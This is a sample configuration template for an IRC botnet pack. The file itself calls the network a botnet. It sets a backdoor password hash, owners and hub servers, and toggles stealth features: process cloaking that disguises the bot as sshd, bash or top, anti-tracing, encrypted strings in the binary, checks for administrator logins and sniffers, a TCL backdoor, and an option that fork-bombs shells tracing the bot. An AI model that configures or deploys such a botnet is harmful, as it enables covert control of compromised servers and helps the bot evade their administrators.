pack.cfg.sample 3.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
  1. /* The < && > indicates the area you must change!
  2. * Do not leave the <>
  3. */
  4. /* PACKNAME: name of the pack */
  5. PACKNAME <name>
  6. /* HASHES
  7. * These must remain 100% secure/private, these keys can retrieve the salts, and
  8. * the entire botnet could be hijacked, a pass 8 chars or more is suggested
  9. */
  10. /* SHELLHASH: 32 char md5 hash used for binary password
  11. * in mIRC: //echo -a $md5(SOMEWORD)
  12. * URL: http://edge.codebin.dk/md5.php
  13. */
  14. SHELLHASH <md5hash>
  15. /* BDHASH: 32 char MD5 hash used for IRC backdoor
  16. # NOTE: Botlink uses this for linking, if it is changed on a bot, it wont link to another bot unless
  17. # the other bot has the same bdhash. (Protects your botnet, trust me) */
  18. BDHASH <md5hash>
  19. /* DCCPREFIX: 1 char cmd prefix for dcc. (ie, .cmd or !cmd) */
  20. DCCPREFIX <.>
  21. /* The settings below can each be defined multiple times */
  22. /* OWNER <nick password host>
  23. * Multiple OWNER lines may be defined, each will be added as a +a perm owner.
  24. * nick: nickname what else?
  25. * password: initial password for user
  26. * host: hosts of the user (list as many as needed)
  27. */
  28. OWNER <Bob S0m3P4ass *!bob@1.2.3.4 *!*@1.2.3.4>
  29. /* OWNEREMAIL: email addresses that status/errors will be sent to when needed
  30. * list as many as needed
  31. */
  32. OWNEREMAIL <some@email.com>
  33. /* HUB <nick host port ident>
  34. * Hubs are ranked by the order they are listed (previously was hublevel in settings.c)
  35. * nick: nick of hub
  36. * host: hostname or ip of hub (A 'dynamic' OR 'changeable' HOSTNAME IS RECOMMENDED)
  37. * port: port the hub listens on
  38. * ident: ident of the hub (list as many as needed)
  39. */
  40. HUB <God god.net 666 god ~God ~george>
  41. /* DEFINES
  42. * Simply use a '+' to enable a feature, be sure to include the space.
  43. * If this is the template pack.cfg, defines are set to their recommended values
  44. */
  45. + ANTITRACE This will quit the bot if tracing is detected
  46. + AUTHCMDS Enable a special list of cmds to be used after Authing.
  47. + AUTHHASH Require a script to AUTH (using hashes)
  48. + AUTOAWAY Random autoaway/return on IRC
  49. - AUTOLOCK Will lock channels upon certain conditions
  50. + DCCAUTH Require Auth hashing with scripts for dcc party line.
  51. + DCCPASS DCC command passwords
  52. + GARBLESTRINGS Encrypt strings in binary
  53. + HIJACKCHECK Checks for a common process hijacker method
  54. + LASTCHECK Checks every few seconds for logins with `last`
  55. - MESSUPTERM Fork bombs shells that trace the bot on startup
  56. + MSGCMDS Adds support for non-auth msg cmds, customizable throgh cmd_config
  57. - NAZIPASS Requires a 'special' char in passes..If you have AUTH enabled, this is unneeded
  58. + NODELAY Speeds up tcp sockets to server
  59. - PROCESSCHECK Checks running processes against a bad-list
  60. + PROMISC Checks for sniffers running on the server
  61. + PSCLOAK Cloaks the process for `ps` (can be disabled in botconfs)
  62. + RANDSERVERS Randomizes the server list per bot
  63. + SPLITHIJACK Cycle channels on split; CHANFIX/TS fixes
  64. - TCLCMDS These serve mainly as a backdoor/debug tool for development
  65. + TCLPERMONLY Limits .tcl/.nettcl/.bottcl to perm owners
  66. + UTCTIME Uses GMT/UTC standard time instead of localtime
  67. /* PSCLOAK <name>
  68. * name: the name of the program to spoof as in 'ps'
  69. * list as many as needed
  70. * A default list is provided
  71. */
  72. PSCLOAK -bash
  73. PSCLOAK ftp
  74. PSCLOAK /usr/sbin/sshd
  75. PSCLOAK man
  76. PSCLOAK pine
  77. PSCLOAK bash
  78. PSCLOAK top
  79. PSCLOAK last
  80. PSCLOAK w
  81. PSCLOAK ps ux
  82. PSCLOAK bash
  83. PSCLOAK ./psybnc
  84. PSCLOAK BitchX
  85. /* SALTS: DO NOT TOUCH BELOW THIS LINE */